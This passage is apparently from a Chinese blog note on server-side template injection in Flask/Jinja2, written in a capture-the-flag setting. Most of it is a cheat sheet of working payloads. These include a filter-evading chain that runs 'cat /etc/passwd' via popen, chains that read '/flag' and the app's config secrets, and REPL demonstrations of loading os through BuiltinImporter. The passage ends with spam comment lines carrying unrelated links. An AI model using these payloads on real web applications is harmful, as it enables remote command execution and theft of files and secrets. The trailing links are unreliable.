仅仅访问类的内容,这已经可以达到我们所需要的目的了。
{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[256].__enter__.__globals__['po'+'pen']('cat /etc/passwd').read() }}
一些姿势
self
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}
特殊变量
url_for
, g
,request
,namespace
,lipsum
,range
,session
,dict
,get_flashed_messages
,cycler
,joiner
,config
等,当config
、self
被过滤了,但仍需要获取配置信息时,就需要从它的上部全局变量(访问配置current_app
等)
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
补充SSTI
常用可利用类
<class '_frozen_importlib.BuiltinImporter'>
该类是内建包import
工具,通过传入内建模块的字符串,我们可以引入核心模块:
root@kali:~# python3
Python 3.8.5 (default, Jul 20 2020, 18:32:44)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> globals()['__loader__']
<class '_frozen_importlib.BuiltinImporter'>
>>> globals()['__loader__']().load_module('os')
<module 'os' (built-in)>
>>> globals()['__loader__']().load_module('io')
<module 'io' (built-in)>
os
模块:有system
函数用以执行命令,有popen
函数执行命令获取内容,有listdir
函数读取文件夹内文件,甚至有excel方法能日穿服务器。
io
模块:各种输入输出流以及open
函数可以读取文件。
<class 'urllib.request.URLopener'>
urllib
的模块,可以通过request.URLopener
打开各种流,并获取返回的内容。
root@kali:~# python3
Python 3.8.5 (default, Jul 20 2020, 18:32:44)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from urllib import request
>>> request.URLopener
<class 'urllib.request.URLopener'>
>>> dir(request.URLopener())
['_URLopener__tempfiles', '_URLopener__unlink', '__class__', '__del__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_https_connection', '_open_generic_http', 'addheader', 'addheaders', 'cert_file', 'cleanup', 'close', 'ftpcache', 'http_error', 'http_error_default', 'key_file', 'open', 'open_data', 'open_file', 'open_ftp', 'open_http', 'open_https', 'open_local_file', 'open_unknown', 'open_unknown_proxy', 'proxies', 'retrieve', 'tempcache', 'version']
>>> request.URLopener().open_file("flag").read()
b'flag{Tr0jAn_V1rU4_SuCcesS!}\n'
<class 'subprocess.Popen'>
可以通过这个类来执行子命令,获取返回值(不是执行结果),类似os.popen
。
总结
现在只是对SSTI
有一个很粗浅的了解,更多的细节和运用,还要在实战中练习。
附录
以上内容转载自:
想想你的文章写的特别好www.jiwenlaw.com
想想你的文章写的特别好https://www.ea55.com/
想想你的文章写的特别好https://www.237fa.com/
想想你的文章写的特别好https://www.jiwenlaw.com/